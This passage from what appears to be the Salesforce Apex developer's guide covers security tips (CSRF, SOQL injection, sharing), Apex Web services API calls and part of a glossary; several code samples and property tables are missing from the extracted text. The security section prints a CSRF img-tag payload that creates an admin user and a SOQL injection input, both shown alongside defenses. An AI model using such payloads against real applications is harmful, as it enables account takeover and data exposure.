it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with
higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine
the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which
has been imported from external sources and may not have been screened for malicious content.
443
Appendix C: Security Tips for Apex and Visualforce Development SOQL Injection
any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the
attacker's page is an HTML tag that looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your
Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds
because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative
by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/articles/csrf-faq.shtml
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page
includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of
this string of characters and does not execute the command unless the value matches the expected value. This feature protects
you when using all of the standard controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a
custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider
the following code snippet.
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The
id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page may have
sent the user to this page using a CSRF attack and could have provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action
based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around could be to insert
an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions
include shortening the idle session timeout for the organization and educating users to log out of their active session and not
use their browser to visit other sites while authenticated.
SOQL Injection
In other programming languages, this flaw is known as SQL injection. Apex does not use SQL, but uses its own database
query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much
lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary
SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is
444
Appendix C: Security Tips for Apex and Visualforce Development SOQL Injection
not validated, it may include SOQL commands that effectively modify the SOQL statement and trick the application into
performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
• http://www.google.com/search?q=sql+injection
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The
SOQL query is built dynamically and then executed with the Database.query method. If the user provided a normal value,
the statement executes as expected:
name = Bob
sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%test%') or (Name like '%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.
445
Appendix C: Security Tips for Apex and Visualforce Development Data Access Control
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds
the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all
single quotation marks are treated as enclosing strings, instead of database commands.
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view
these records. The solution is to use the qualifying keywords with sharing when declaring the class:
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in,
rather than granting full access to all records.
446
Appendix
D
Web Services API Calls and SOAP Headers for Apex
This appendix details the Web services API calls that are available by default for Apex.
Note: Apex class methods can be exposed as custom Force.com Web services API calls. This allows an external
application to invoke an Apex web service to perform an action in Salesforce.com. Use the webService keyword to
define these methods. For more information, see Considerations for Using the WebService Keyword on page 195.
Any Apex scripts saved using the Web Service API calls uses the same version of the API as the endpoint of the API request.
For example, if you want to use API version 20.0, use endpoint 20.0:
https://na1-api.salesforce.com/services/Soap/s/20.0
For information on all other Web services API calls, including those that can be used to extend or implement any existing Apex
IDEs, contact your salesforce.com representative.
This appendix details the following Web services API calls:
• compileAndTest()
• compileClasses()
• compileTriggers()
• executeanonymous()
• runTests()
The following SOAP headers are available in API calls for Apex:
• DebuggingHeader
• PackageVersionHeader
Also see the Metadata API Developer's Guide for two additional calls:
• deploy()
• retrieve()
compileAndTest()
Compile and test your Apex in a single call.
447
Appendix D: Web Services API Calls and SOAP Headers for Apex compileAndTest()
Syntax
CompileAndTestResult[] = compileAndTest(CompileAndTestRequest request);
Usage
Use this call to both compile and test the Apex you specify with a single call. Production organizations (not a Developer
Edition or Sandbox Edition) must use this call instead of compileClasses() or compileTriggers().
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API,
see the Web Services API Developer's Guide.
All specified tests must pass, otherwise data is not saved to the database. If this call is invoked in a production organization,
the RunTestsRequest property of the CompileAndTestRequest is ignored, and all unit tests defined in the organization are
run and must pass.
Sample Code—Java
Note that the following example sets checkOnly to true so that this class is compiled and tested, but the classes are not
saved to the database.
{
CompileAndTestRequest request;
CompileAndTestResult result = null;
// TEST
// Compile only one class which meets all test requirements for checking
try {
result = apexBinding.compileAndTest(request);
} catch (RemoteException e) {
System.out.println("An unexpected error occurred: " + e.getMessage());
}
assert (result.isSuccess());
}
448
Appendix D: Web Services API Calls and SOAP Headers for Apex CompileAndTestRequest
Arguments
Response
CompileAndTestResult
CompileAndTestRequest
The compileAndTest() call contains this object, a request with information about the Apex to be compiled.
A CompileAndTestRequest object has the following properties:
CompileAndTestResult
The compileAndTest() call returns information about the compile and unit test run of the specified Apex, including
whether it succeeded or failed.
A CompileAndTestResult object has the following properties:
449
Appendix D: Web Services API Calls and SOAP Headers for Apex CompileAndTestResult
CompileClassResult
This object is returned as part of a compileAndTest() or compileClasses() call. It contains information about whether
or not the compile and run of the specified Apex was successful.
A CompileClassResult object has the following properties:
CompileTriggerResult
This object is returned as part of a compileAndTest() or compileTriggers() call. It contains information about whether
or not the compile and run of the specified Apex was successful.
A CompileTriggerResult object has the following properties:
450
Appendix D: Web Services API Calls and SOAP Headers for Apex compileClasses()
DeleteApexResult
This object is returned when the compileAndTest() call returns information about the deletion of a class or trigger.
A DeleteApexResult object has the following properties:
compileClasses()
Compile your Apex in Developer Edition or Sandbox Edition organizations.
Syntax
CompileClassResult[] = compileClasses(string[] classList);
Usage
Use this call to compile Apex classes in Developer Edition or Sandbox Edition organizations. Production organizations must
use compileAndTest().
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API,
see the Web Services API Developer's Guide.
451
Appendix D: Web Services API Calls and SOAP Headers for Apex compileTriggers()
Sample Code—Java
public void compileClassesSample() {
String p1 = "public class p1 {\n"
+ "public static Integer var1 = 0;\n"
+ "public static void methodA() {\n"
+ " var1 = 1;\n" + "}\n"
+ "public static void methodB() {\n"
+ " p2.MethodA();\n" + "}\n"
+ "}";
String p2 = "public class p2 {\n"
+ "public static Integer var1 = 0;\n"
+ "public static void methodA() {\n"
+ " var1 = 1;\n" + "}\n"
+ "public static void methodB() {\n"
+ " p1.MethodA();\n" + "}\n"
+ "}";
CompileClassResult[] r = new CompileClassResult[0];
try {
r = apexBinding.compileClasses(new String[]{p1, p2});
} catch (RemoteException e) {
System.out.println("An unexpected error occurred: "
+ e.getMessage());
}
if (!r[0].isSuccess()) {
System.out.println("Couldn't compile class p1 because: "
+ r[0].getProblem());
}
if (!r[1].isSuccess()) {
System.out.println("Couldn't compile class p2 because: "
+ r[1].getProblem());
}
}
Arguments
Response
CompileClassResult
compileTriggers()
Compile your Apex triggers in Developer Edition or Sandbox Edition organizations.
Syntax
CompileTriggerResult[] = compileTriggers(string[] triggerList);
Usage
Use this call to compile the specified Apex triggers in your Developer Edition or Sandbox Edition organization. Production
organizations must use compileAndTest().
452
Appendix D: Web Services API Calls and SOAP Headers for Apex executeanonymous()
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API,
see the Web Services API Developer's Guide.
Arguments
Response
CompileTriggerResult
executeanonymous()
Executes a block of Apex.
Syntax
ExecuteAnonymousResult[] = binding.executeanonymous(string apexcode);
Usage
Use this call to execute an anonymous block of Apex. This call can be executed from AJAX.
This call supports the API DebuggingHeader and SessionHeader.
If a component in a package with restricted API access issues this call, the request is blocked.
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.
Arguments
Web Services API Developer's Guide contains information about security, access, and SOAP headers.
Response
ExecuteAnonymousResult[]
ExecuteAnonymousResult
The executeanonymous() call returns information about whether or not the compile and run of the code was successful.
An ExecuteAnonymousResult object has the following properties:
453
Appendix D: Web Services API Calls and SOAP Headers for Apex runTests()
exceptionMessage string* If success is False, this field contains the exception message for the failure.
exceptionStackTrace string* If success is False, this field contains the stack trace for the failure.
line int* If compiled is False, this field contains the line number of the point where
the compile failed.
success boolean* If True, the code was successfully executed. If False, the exceptionMessage
and exceptionStackTrace values are not null.
runTests()
Run your Apex unit tests.
Syntax
RunTestsResult[] = binding.runTests(RunTestsRequest request);
Usage
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are
class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit
no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition. Use this
call to run your Apex unit tests.
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API,
see the Web Services API Developer's Guide.
Sample Code—Java
public void runTestsSample() {
String sessionId = "sessionID goes here";
String url = "url goes here";
// set the apex stub with session id received from logging in with the partner API
_SessionHeader sh = new _SessionHeader();
apexBinding.setHeader(
new ApexServiceLocator().getServiceName().getNamespaceURI(),
"SessionHeader", sh);
// set the url received from logging in with the partner API to the apex stub
apexBinding._setProperty(ApexBindingStub.ENDPOINT_ADDRESS_PROPERTY, url);
454
Appendix D: Web Services API Calls and SOAP Headers for Apex runTests()
dh.setDebugLevel(LogType.Profiling);
apexBinding.setHeader(
new ApexServiceLocator().getServiceName().getNamespaceURI(),
"DebuggingHeader", dh);
455
Appendix D: Web Services API Calls and SOAP Headers for Apex RunTestsRequest
Arguments
Response
RunTestsResult
RunTestsRequest
The compileAndTest() call contains a request, CompileAndTestRequest with information about the Apex to be compiled.
The request also contains this object which specifies information about the Apex to be tested. You can specify the same or
different classes to be tested as being compiled. Since triggers cannot be tested directly, they are not included in this object.
Instead, you must specify a class that calls the trigger.
If the request is sent in a production organization, this request is ignored and all unit tests defined for your organization are
run.
A CompileAndTestRequest object has the following properties:
RunTestsResult
The call returns information about whether or not the compilation of the specified Apex was successful and if the unit tests
completed successfully.
A RunTestsResult object has the following properties:
codeCoverageWarnings CodeCoverageWarning[]
An array of one or more code coverage warnings for the test
run. The results include both the total number of lines that
could have been executed, as well as the number, line, and
column positions of code that was not executed.
456
Appendix D: Web Services API Calls and SOAP Headers for Apex RunTestsResult
numFailures int
The number of failures for the unit tests.
numTestsRun int
The number of unit tests that were run.
successes RunTestSuccess[]
An array of one or more RunTestSuccesses objects that contain
information about successes, if there are any.
totalTime double
The total cumulative time spent running tests. This can be
helpful for performance monitoring.
CodeCoverageResult
The RunTestsResult object contains this object. It contains information about whether or not the compile of the specified
Apex and run of the unit tests was successful.
A CodeCoverageResult object has the following properties:
id ID
The ID of the CodeLocation. The ID is unique within an organization.
locationsNotCovered CodeLocation[]
For each class or trigger tested, if any code is not covered, the line and column
of the code not tested, and the number of times the code was executed.
methodInfo CodeLocation[]
For each class or trigger tested, the method invocation locations, the number
of times the code was executed, and the total cumulative time spent in these
calls. This can be helpful for performance monitoring.
name string
The name of the class covered.
namespace string
The namespace that contained the unit tests, if one is specified.
numLocations int
The number of locations covered.
soqlInfo CodeLocation[]
For each class or trigger tested, the location of SOQL statements in the code,
the number of times this code was executed, and the total cumulative time
spent in these calls. This can be helpful for performance monitoring.
457
Appendix D: Web Services API Calls and SOAP Headers for Apex RunTestsResult
type string
Do not use. In early, unsupported releases, used to specify class or package.
CodeCoverageWarning
The RunTestsResult object contains this object. It contains information about the Apex class which generated warnings.
This object has the following properties:
message string
The message of the warning generated.
name string
The name of the class that generated a warning. If the warning applies to the
overall code coverage, this value is null.
namespace string
The namespace that contains the class, if one was specified.
RunTestFailure
The RunTestsResult object returns information about failures during the unit test run.
This object has the following properties:
message string
The failure message.
methodName string
The name of the method that failed.
name string
The name of the class that failed.
namespace string
The namespace that contained the class, if one was specified.
stackTrace string
The stack trace for the failure.
time double
The time spent running tests for this failed operation. This can be helpful for
performance monitoring.
458
Appendix D: Web Services API Calls and SOAP Headers for Apex DebuggingHeader
RunTestSuccess
The RunTestsResult object returns information about successes during the unit test run.
This object has the following properties:
methodName string
The name of the method that succeeded.
name string
The name of the class that succeeded.
namespace string
The namespace that contained the class, if one was specified.
time double
The time spent running tests for this operation. This can be helpful for
performance monitoring.
CodeLocation
The RunTestsResult object contains this object in a number of fields.
This object has the following properties:
line int
The line location of the Apex tested.
numExecutions int
The number of times the Apex was executed in the test run.
time double
The total cumulative time spent at this location. This can be helpful for
performance monitoring.
DebuggingHeader
Specifies that the response will contain the debug log in the return header, and specifies the level of detail in the debug header.
459
Appendix D: Web Services API Calls and SOAP Headers for Apex DebuggingHeader
API Calls
compileAndTest()executeanonymous()runTests()
Fields
categories LogInfo[] Specifies the type, as well as the amount of information returned in the debug log.
LogInfo
Specifies the type, as well as the amount of information, returned in the debug log. The categories field takes a list of these
objects.
Fields
LogCategoryLevel string Specifies the amount of information returned in the debug log. Only the
Apex_code LogCategory uses the log category levels.
Valid log levels are (listed from lowest to highest):
• ERROR
• WARN
• INFO
• DEBUG
• FINE
• FINER
• FINEST
460
Appendix D: Web Services API Calls and SOAP Headers for Apex PackageVersionHeader
PackageVersionHeader
Specifies the package version for each installed managed package. A package version is a number that identifies the set of
components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for
example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is
generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are
currently available through a pilot program. For information on enabling patch versions for your organization, contact
salesforce.com. As well as a set of components, a package version encompasses specific behavior. Publishers can use package
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package.
A managed package can have several versions with different content and behavior. This header allows you to specify the version
used for each package referenced by your API client. If a package version is not specified for a package, the API client uses
the version of the package that is selected in the Version Settings section in Your Name ➤ Setup ➤ Develop ➤ API. This
header is available in API version 16.0 and later.
API Calls
compileAndTest(), compileClasses(), compileTriggers(), executeanonymous()
Fields
PackageVersion
Specifies a version of an installed managed package. It includes the following fields:
minorNumber int The minor version number of a package version. A package version is denoted by
majorNumber.minorNumber, for example 2.1.
461
Glossary
A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z
A
Administrator (System Administrator)
One or more individuals in your organization who can configure and customize the application. Users assigned to the
System Administrator profile have administrator privileges.
AJAX Toolkit
A JavaScript wrapper around the API that allows you to execute any API call and access any object you have permission
to view from within JavaScript code. For more information, see the AJAX Toolkit Developer's Guide.
Anti-Join
An anti-join is a subquery on another object in a NOT IN clause in a SOQL query. You can use anti-joins to create
advanced queries, such as getting all accounts that do not have any open opportunities. See also Semi-Join.
Apex
Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute flow
and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API.
Using syntax that looks like Java and acts like database stored procedures, Apex code enables developers to add business
logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be
initiated by Web service requests and from triggers on objects.
Apex-Managed Sharing
Enables developers to programmatically manipulate sharing to support their application’s behavior. Apex-managed sharing
is only available for custom objects.
Apex Page
See Visualforce Page.
App
Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address
a specific business need. Salesforce.com provides standard apps such as Sales and Call Center. You can customize the
standard apps to match the way you work. In addition, you can package an app and upload it to AppExchange along with
related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other
Salesforce.com users from AppExchange.
462
Glossary
AppExchange
AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for the
Force.com platform.
Approval Process
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply
to all records included in the process, or just records that have certain attributes. An approval process also specifies the
actions to take when a record is approved, rejected, recalled, or first submitted for approval.
Asynchronous Calls
A call that does not return results immediately because the operation may take a long time. Calls in the Metadata API
and Bulk API are asynchronous.
B
Batch Apex
The ability to perform long, complex operations on many records at a scheduled time using Apex.
C
Callout, Apex
An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web
service or sending a HTTP request from an Apex script and then receiving the response.
Child Relationship
A relationship that has been defined on an sObject that references another sObject as the “one” side of a one-to-many
relationship. For example, contacts, opportunities, and tasks have child relationships with accounts.
See also sObject.
Class, Apex
A template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods,
variables, exception types, and static initialization code. In most cases, Apex classes are modeled on their counterparts in
Java.
Client App
An app that runs outside the Salesforce.com user interface and uses only the Force.com API or Bulk API. It typically runs
on a desktop or mobile device. These apps treat the platform as a data source, using the development model of whatever
tool and platform for which they are designed. See also Composite App and Native App.
Code Coverage
A way to identify which lines of code are exercised by a set of unit tests, and which are not. This helps you identify sections
of code that are completely untested and therefore at greatest risk of containing a bug or introducing a regression in the
future.
463
Glossary
Component, Metadata
A component is an instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for
custom objects, and the MyCustomObject__c component is an instance of a custom object. A component is described
in an XML file and it can be deployed or retrieved using the Metadata API, or tools built on top of it, such as the Force.com
IDE or the Force.com Migration Tool.
Component, Visualforce
Something that can be added to a Visualforce page with a set of tags, for example, <apex:detail>. Visualforce includes
a number of standard components, or you can create your own custom components.
Composite App
An app that combines native platform functionality with one or more external Web services, such as Yahoo! Maps.
Composite apps allow for more flexibility and integration with other services, but may require running and managing
external code. See also Client App and Native App.
Controller, Visualforce
An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use
the standard controllers that come by default with every standard or custom object, or they can use custom controllers.
Controller Extension
A controller extension is an Apex class that extends the functionality of a standard or custom controller.
Cookie
Client-specific data used by some Web applications to store user and session-specific information. Salesforce.com issues
a session “cookie” only to record encrypted authentication information for the duration of a specific session.
Custom App
See App.
Custom Controller
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller.
Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the
profile-based permissions and field-level security of the current user.
Custom Field
A field that can be added in addition to the standard fields to customize Salesforce.com for your organization’s needs.
Custom Links
Custom URLs defined by administrators to integrate your Salesforce.com data with external websites and back-office
systems. Formerly known as Web links.
Custom Object
Custom records that allow you to store information unique to your organization.
Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as
create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the
application cache, which enables efficient access without the cost of repeated queries to the database. This data can then
be used by formula fields, validation rules, Apex, and the Web services API.
464
Glossary
D
Database
An organized collection of information. The underlying architecture of the Force.com platform includes a database where
your data is stored.
Database Table
A list of information, presented with rows and columns, about the person, thing, or concept you want to track. See also
Object.
Data Loader
A Force.com platform tool used to import and export data from your Salesforce.com organization.
Data State
The structure of data in an object at a particular point in time.
Date Literal
A keyword in a SOQL or SOSL query that represents a relative range of time such as last month or next year.
Decimal Places
Parameter for number, currency, and percent custom fields that indicates the total number of digits you can enter to the
right of a decimal point, for example, 4.98 for an entry of 2. Note that the system rounds the decimal numbers you enter,
if necessary. For example, if you enter 4.986 in a field with Decimal Places of 2, the number rounds to 4.99.
Dependency
A relationship where one object's existence depends on that of another. There are a number of different kinds of
dependencies including mandatory fields, dependent objects (parent-child), file inclusion (referenced images, for example),
and ordering dependencies (when one object must be deployed before another object).
Dependent Field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding
controlling field.
Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce.com
user interface, you must select the “Deployed” option to make the functionality visible to other users.
The process by which an application or other functionality is moved from development to production.
To move metadata components from a local file system to a Salesforce.com organization.
For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a
custom object is deployed, it is only available to administrators and any users with the “Customize Application” permission.
Deprecated Component
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may
involve redesigning some of the components in the managed package. Developers cannot delete some components in a
Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do
not receive the component, while the component continues to function for existing subscribers and API integrations.
465
Glossary
Detail
A page that displays information about a single object record. The detail page of a record allows you to view the information,
whereas the edit page allows you to modify it.
A term used in reports to distinguish between summary information and inclusion of all column data for all information
in a report. You can toggle the Show Details/Hide Details button to view and hide report detail information.
Developer Edition
A free, fully-functional Salesforce.com organization designed for developers to extend, integrate, and develop with the
Force.com platform. Developer Edition accounts are available on developer.force.com.
Developer Force
The Developer Force website at developer.force.com provides a full range of resources for platform developers, including
sample code, toolkits, an online developer community, and the ability to obtain limited Force.com platform environments.
Development Environment
A Salesforce.com organization where you can make configuration changes that will not affect users on the production
organization. There are two kinds of development environments, sandboxes and Developer Edition organizations.
E
Email Alert
Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval
process and sent to designated recipients, either Salesforce.com users or others.
Email Template
A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement
that a customer service request has been received. Email templates can be personalized with merge fields, and can be
written in text, HTML, or custom format.
Enterprise Edition
A Salesforce.com edition designed for larger, more complex businesses.
Enterprise WSDL
A strongly-typed WSDL for customers who want to build an integration with their Salesforce.com organization only, or
for partners who are using tools like Tibco or webMethods to build integrations that require strong typecasting. The
downside of the Enterprise WSDL is that it only works with the schema of a single Salesforce.com organization because
it is bound to all of the unique objects and fields that exist in that organization's data model.
Enumeration Field
An enumeration is the WSDL equivalent of a picklist field. The valid values of the field are restricted to a strict set of
possible values, all having the same data type.
466
Glossary
F
Facet
A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of
the facet.
Field
A part of an object that holds a specific piece of information, such as a text or currency value.
Field Dependency
A filter that allows you to change the contents of a picklist based on the value of another field.
Field-Level Security
Settings that determine whether fields are hidden, visible, read only, or editable for users based on their profiles. Available
in Enterprise, Unlimited, and Developer Editions only.
Force.com
The salesforce.com platform for building applications in the cloud. Force.com combines a powerful user interface, operating
system, and database to allow you to customize and deploy applications in the cloud for your entire enterprise.
Force.com IDE
An Eclipse plug-in that allows developers to manage, author, debug and deploy Force.com applications in the Eclipse
development environment.
Foreign key
A field whose value is the same as the primary key of another table. You can think of a foreign key as a copy of a primary
key from another table. A relationship is made between two tables by matching the values of the foreign key in one table
with the values of the primary key in another.
G
Getter Methods
Methods that enable developers to display database and other computed values in page markup.
Methods that return values. See also Setter Methods.
Global Variable
A special merge field that you can use to reference data in your organization.
A method access modifier for any method that needs to be referenced outside of the application, either in the Web services
API or by other Apex scripts.
Governor limits
Apex execution limits that prevent developers who write inefficient code from monopolizing the resources of other
Salesforce.com users.
Gregorian Year
A calendar based on a twelve month structure used throughout much of the world.
467
Glossary
H
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or
users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most
specific, or “lowest,” value. In the hierarchy, settings for an organization are overridden by profile settings, which, in turn,
are overridden by user settings.
HTTP Debugger
An application that can be used to identify and inspect SOAP requests that are sent from the AJAX Toolkit. They behave
as proxy servers running on your local machine and allow you to inspect and author individual requests.
I
ID
See Salesforce.com Record ID.
IdeaExchange
A forum where salesforce.com customers can suggest new product concepts, promote favorite enhancements, interact
with product managers and other customers, and preview what salesforce.com is planning to deliver in future releases.
Visit IdeaExchange at ideas.salesforce.com.
Import Wizard
A tool for importing data into your Salesforce.com organization, accessible from Setup.
Instance
The cluster of software and hardware represented as a single logical server that hosts an organization's data and runs their
applications. The Force.com platform runs on multiple instances, but data for any single organization is always consolidated
on a single instance.
Integration User
A Salesforce.com user defined solely for client apps or integrations. Also referred to as the logged-in user in a Web services
API context.
ISO Code
The International Organization for Standardization country code, which represents each country by two letters.
J
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many”
relationship between two objects. For example, you may have a custom object called “Bug” that relates to the standard
case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
K
Key Pair
See Salesforce.com Certificate and Key Pair.
468
Glossary
Keyword
Keywords are terms that you purchase in Google AdWords. Google matches a search phrase to your keywords, causing
your advertisement to trigger on Google. You create and manage your keywords in Google AdWords.
L
Length
Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the
field.
Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the
decimal point, for example, 123.98 for an entry of 3.
List View
A list display of items (for example, accounts or contacts) based on specific criteria. Salesforce.com provides some predefined
views.
In the Console tab, the list view is the top frame that displays a list view of records based on specific criteria. The list views
you can select to display in the console are the same list views defined on the tabs of other objects. You cannot create a
list view within the console.
Local Name
The value stored for the field in the user’s or account’s language. The local name for a field is associated with the standard
name for that field.
Locale
The country or geographic region in which the user is located. The setting affects the format of date and number fields,
for example, dates in the English (United States) locale display as 06/30/2000 and as 30/06/2000 in the English (United
Kingdom) locale.
In Professional, Enterprise, Unlimited, and Developer Edition organizations, a user’s individual Locale setting overrides
the organization’s Default Locale setting. In Personal and Group Editions, the organization-level locale field is called
Locale, not Default Locale.
Lookup Relationship
A relationship between two records so you can associate records with each other. For example, cases have a lookup
relationship with assets that lets you associate a particular asset with a case. On one side of the relationship, a lookup field
allows users to click a lookup icon and select another record from a popup window. On the associated record, you can
then display a related list to show all of the records that have been linked to it. A lookup relationship has no effect on
record deletion or security, and the lookup field is not required in the page layout.
469
Glossary
M
Managed Package
A collection of application components that are posted as a unit on AppExchange, and are associated with a namespace
and possibly a License Management Organization. A package must be managed for it to support upgrades. An organization
can create a single managed package that can be downloaded and installed by many different organizations. They differ
from unmanaged packages in that some components are locked, allowing the managed package to be upgraded later.
Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed packages obfuscate
certain components (like Apex) on subscribing organizations, so as to protect the intellectual property of the developer.
Manual Sharing
Record-level access rules that allow record owners to give read and edit permissions to other users who might not have
access to the record any other way.
Many-to-Many Relationship
A relationship where each side of the relationship can have many children on the other side. Many-to-many relationships
are implemented through the use of junction objects.
Master-Detail Relationship
A relationship between two different types of records that associates the records with each other. For example, accounts
have a master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes
the lookup relationship field required on the page layout.
Metadata
Information about the structure, appearance, and functionality of an organization and any of its parts. Force.com uses
XML to describe metadata.
Metadata-Driven Development
An app development model that allows apps to be defined as declarative “blueprints,” with no code required. Apps built
on the platform—their data models, objects, forms, workflows, and more—are defined by metadata.
Metadata WSDL
A WSDL for users who want to use the Force.com Metadata API calls.
Multitenancy
An application model where all users and apps share a single, common infrastructure and code base.
MVC (Model-View-Controller)
A design paradigm that deconstructs applications into components that represent data (the model), ways of displaying
that data in a user interface (the view), and ways of manipulating that data with business logic (the controller).
N
Namespace
In a packaging context, a one- to 15-character alphanumeric identifier that distinguishes your package and its contents
from packages of other developers onAppExchange, similar to a domain name. Salesforce.com automatically prepends
your namespace prefix, followed by two underscores (“__”), to all unique component names in your Salesforce.com
organization.
Native App
An app that is built exclusively with setup (metadata) configuration on Force.com. Native apps do not require any external
services or infrastructure.
470
Glossary
O
Object
An object allows you to store information in your Salesforce.com organization. The object is the overall definition of the
type of information you are storing. For example, the case object allow you to store information regarding customer
inquiries. For each object, your organization will have multiple records that store the information about specific instances
of that type of data. For example, you might have a case record to store the information about Joe Smith's training inquiry
and another case record to store the information about Mary Johnson's configuration issue.
Object-Level Help
Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail,
and edit pages, as well as list views and related lists.
Object-Level Security
Settings that allow an administrator to hide whole tabs and objects from a user so that he or she does not know that type
of data exists. On the platform you set object-level access rules with object permissions on user profiles.
One-to-Many Relationship
A relationship in which a single object is related to many other objects. For example, an account may have one or more
related contacts.
Organization
A deployment of Salesforce.com with a defined set of licensed users. An organization is the virtual space provided to an
individual customer of salesforce.com. Your organization includes all of your data and applications, and is separate from
all other organizations.
Organization-Wide Defaults
Settings that allow you to specify the baseline level of data access that a user has in your organization. For example, you
can make it so that any user can see any record of a particular object that is enabled in their user profile, but that they need
extra permissions to edit one.
Outbound Call
Any call that originates from a user to a number outside of a call center in Salesforce CRM Call Center.
Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint
you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a
SOAP message to the endpoint. Outbound messaging is configured in the Salesforce.com setup menu. Then you must
configure the external endpoint. You can create a listener for the messages using the Web services API.
Owner
Individual user to which a record (for example, a contact or case) is assigned.
P
PaaS
See Platform as a Service.
Package
A group of Force.com components and applications that are made available to other organizations through the
AppExchange. You use packages to bundle an app along with any related components so that you can upload them to
AppExchange together.
471
Glossary
Package Dependency
This is created when one component references another component, permission, or preference, which must exist for the
component to be valid. Components can include, but are not limited to:
• Standard or custom fields
• Standard or custom objects
• Visualforce pages
• Apex scripts
Permissions and preferences can include but are not limited to:
• Divisions
• Multicurrency
• Record types
Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the
format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a
chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is
no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program. For
information on enabling patch versions for your organization, contact salesforce.com.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A
